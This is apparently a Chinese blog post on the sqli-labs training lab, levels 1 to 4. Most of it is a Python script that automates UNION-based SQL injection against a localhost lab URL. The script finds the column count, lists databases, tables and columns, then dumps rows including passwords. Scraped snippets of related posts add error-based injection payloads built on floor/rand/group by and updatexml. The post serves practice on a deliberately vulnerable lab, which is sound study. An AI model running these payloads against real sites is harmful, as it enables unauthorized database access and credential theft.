sqli-labs:1-4,基于报错的注入

sqli1:

脚本

  1 # -*- coding: utf-8 -*-
  2 """
  3 Created on Sat Mar 23 09:37:14 2019
  4
  5 @author: kenshin
  6 """
  7
  8 import requests,re
  9 url = ‘http://localhost/sqli-labs/Less-1/?id=-1‘
 10
 11 def Len_OrderBy(url):
 12     pattern_mark = ‘Unknown column‘
 13     #假设字段长20
 14     for i in range(1,20):
 15         url_new = url + "\‘ order by "+ str(i) +"--+"
 16         r = requests.get(url_new)
 17         if(re.findall(pattern_mark,r.text)):
 18             print(‘the lenght of column(order by) is :‘ + str(i-1) + "\n")
 19             break
 20     return i-1
 21
 22 def get_DB(url,lenght):
 23     #注意:由此模式匹配到的是一个数量为1的列表,后续按‘,‘将数量拆分成n个,以便输出
 24     pattern_mark = ‘Your Login name:(.+?)<br>‘
 25     str = ‘‘
 26     for i in range(1,lenght):
 27         str += ‘group_concat(schema_name),‘
 28     str += ‘group_concat(schema_name)‘
 29     payload = ‘\‘ union select ‘ + str +‘ from information_schema.schemata--+‘
 30     url += payload
 31     r = requests.get(url)
 32     r = re.findall(pattern_mark,r.text)
 33     #list转str
 34     str_tmp = "".join(r)
 35     #re.split按‘,‘拆分
 36     lst = re.split(‘,‘,str_tmp)
 37     print(‘-‘*9 + ‘databases‘ + ‘-‘*8)
 38     for s in lst:
 39         print(‘.‘ + s )
 40     print(‘-‘*25)
 41
 42 def get_TB(url,lenght,db):
 43     pattern_mark = ‘Your Login name:(.+?)<br>‘
 44     str = ‘‘
 45     for i in range(1,lenght):
 46         str += ‘group_concat(table_name),‘
 47     str += ‘group_concat(table_name)‘
 48     payload = "\‘ union select "+ str +" from information_schema.tables where table_schema=\‘" + db + "\‘--+"
 49     url += payload
 50     r = requests.get(url)
 51     r = re.findall(pattern_mark,r.text)
 52     #list转str
 53     str_tmp = "".join(r)
 54     #re.split按‘,‘拆分
 55     lst = re.split(‘,‘,str_tmp)
 56     print(‘-‘*9 +‘Database ‘+ db +‘\‘s Tables‘ + ‘-‘*8)
 57     for s in lst:
 58         print(‘.‘ + s )
 59     print(‘-‘*35)
 60
 61 def get_Column(url,lenght,tb):
 62     pattern_mark = ‘Your Login name:(.+?)<br>‘
 63     str = ‘‘
 64     for i in range(1,lenght):
 65         str += ‘group_concat(column_name),‘
 66     str += ‘group_concat(column_name)‘
 67     payload = "\‘ union select " +str+ " from information_schema.columns where table_name=\‘" +tb+ "\‘--+"
 68     url += payload
 69     r = requests.get(url)
 70     r = re.findall(pattern_mark,r.text)
 71     #list转str
 72     str_tmp = ‘‘.join(r)
 73     #re.split按‘,‘拆分
 74     lst = re.split(‘,‘,str_tmp)
 75     print(‘-‘*9 +‘Table ‘+ tb +‘\‘s Columns‘ + ‘-‘*8)
 76     for s in lst:
 77         print(‘.‘ + s )
 78     print(‘-‘*35)
 79
 80 def get_data(url,lenght,tb,data):
 81     pattern_mark = ‘Your Login name:(.+?)<br>‘
 82     pattern_mark_pass = ‘Your Password:(.+?)</font>‘
 83     #if lenght=5
 84     #data=a,b,c
 85     #after expend
 86     #data=a,b,c,4,5
 87     #str to list
 88     lst = data.split(",")
 89     while len(lst) < lenght:
 90         lst.append(str(len(lst)+1))
 91     #list to str
 92     sn = ‘‘
 93     for i in lst:
 94         sn += i+","
 95     #以上循环结果sn=‘a,b,c,‘  c后的‘,’舍去才能构造正确payload
 96     sn=sn.rstrip(",")
 97     #格式化输出结果
 98     print(‘-‘*9 +‘Table ‘+ tb +‘\‘s All datas‘ + ‘-‘*8)
 99     #假设最多有100组数据
100     for i in range(1,100):
101         payload = "\‘ union select "+ sn +" from "+ tb +" where id="+ str(i) +"--+"
102         url_new = url + payload
103         r = r_pass = requests.get(url_new)
104         r = re.findall(pattern_mark,r.text)
105         r_pass = re.findall(pattern_mark_pass,r_pass.text)
106         print(str(r) +" "*(16-len(str(r)))+"=>  "+str(r_pass)+" "*(18-len(str(r_pass)))+"|")
107         if (len(r)==0 and len(r_pass)==0):
108             break
109     print("-"*41)
110
111 #字段长度
112 lenght = Len_OrderBy(url)
113 #所有数据库
114 get_DB(url,lenght)
115 #由库爆表
116 db = input("select databases >> ")
117 get_TB(url,lenght,db)
118 #由表爆列
119 tb = input("select table >> ")
120 get_Column(url,3,tb)
121 #由表和列名爆数据
122 data = input("select columns (no more than " +str(lenght)+ ",and separate by ‘,‘) >> ")
123 get_data(url,lenght,tb,data)

脚本 1

sqli2:

与sqli1比较,少了 ‘,对id没有经过处理。

sqli3:

对id经过了‘)处理

 sqli4:

对id经过了")处理

原文地址:https://www.cnblogs.com/p0pl4r/p/10584060.html

时间: 2024-08-06 21:22:29

sqli-labs:1-4,基于报错的注入的相关文章

sql注入--基于报错的注入

这是经典的sqli-labs 中的less-5 问题首先通过几个常见的进行测试, 发现只要正确的话就会输出you are in.... 并不能绕过,因此不能出现敏感信息,因此要用一种新思路(参考白帽学院的教程)基于报错的注入,如图,在数据库上测试,产生报错 http://localhost/sqlilabs/Less-5/index.php?id=3' and (select 1 from(select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a

mysql基于“报错”的注入

报错是如何转为xss的? mysql语句在页面报错,泄露信息 ========================================================================================================================================================================= * 报错方式之“updatexml”,有字数限制,但无需配合union. - mysql> sel

sqli-labs-master-Less-5 基于报错盲注/双注入

先从老套路开始-- ?id=1无报错,?id=1' 发现有报错!根据返回的语法错误可以判断是字符型 再然后可以判断出列数:?id=1' order by 3%23 然后按照套路,下一步应该是联合查询,可惜没有回显,这条路到这儿已经走到头了. 但是!但是!我们可以看看我们还有什么:1.语法错误仍然会显示出来2.You are in...的存在与否仍然可以帮助我们判断查询是否有正确 基于以上两点,就有了两种注入方式: 1.双注入(只要能回显语法错误,这种方式仍可使用,这种方式也是作者想考察的注入方式

基于报错型的注入

一.floor() .rand().和 group by 组合: select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x 通过floor报错的方法来爆数据的本质是group by语句的报错.group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中.读取每

mysql 3种报错模式注入

1.通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by... 1.通过floor报错 可以通过如下一些利用代码

SQL报错注入结合sqli lab和百度杯CTF VId

0x00 背景 学习记录一下报错型的注入,经各方整理和自己总结形成. 所有的注入原理都是一样,即用户输入被拼接执行.但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入. 0x01概念 报错型注入的利用大概有以下3种方式: 1:?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查询语句)) from information_schema.tables limit 0,1

sql注入--双查询报错注入原理探索

目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客,今天来探究其原理 实际上该报错是由于rand(),count(),group by 三个语句联合使用造成的,缺一不可. 上一篇的地址:https://www.cnblogs.com/laoxiajiadeyun/p/10278512.html part 1 场景复现 首先我们新建一个数据库,并创建一

spring基于接口的代理报错

报错: 1.在service层加上@Transactional注解.浏览器端报错(如下),eclipse控制台无信息 2.去掉@Transactional注解,无报错,但是数据库没有信息插入. 解决方法:添加proxy-target-class="true",并将属性值改为true proxy-target-class="true" 与proxy-target-class="false"的区别:        proxy-target-class

为什么基于Windows Server 2008 R2的网络负载均衡(NLB)配置的时候总会报错&ldquo;主机不可访问&rdquo;?

配置基于Windows的网络负载均衡是很容易的,操作也很简单,点点鼠标基本上就能完成,但是在进行节点(真实服务器)操作的过程中有时候会遇到一些主机不可访问的报错信息.这个又是为什么呢? Figure 1在其中一台节点上配置好了NLB后刷新一次就是报错一次,让人用的很不踏实呢 出错时候会在描述里面呈现[主机不可访问.连接到"XXX主机名"时出错]. 在Windows里面和主机名有关的一些网络设置有DNS解析.WINS解析,本地HOSTS文件解析这几种. 由于所在环境没有内网的DNS以及W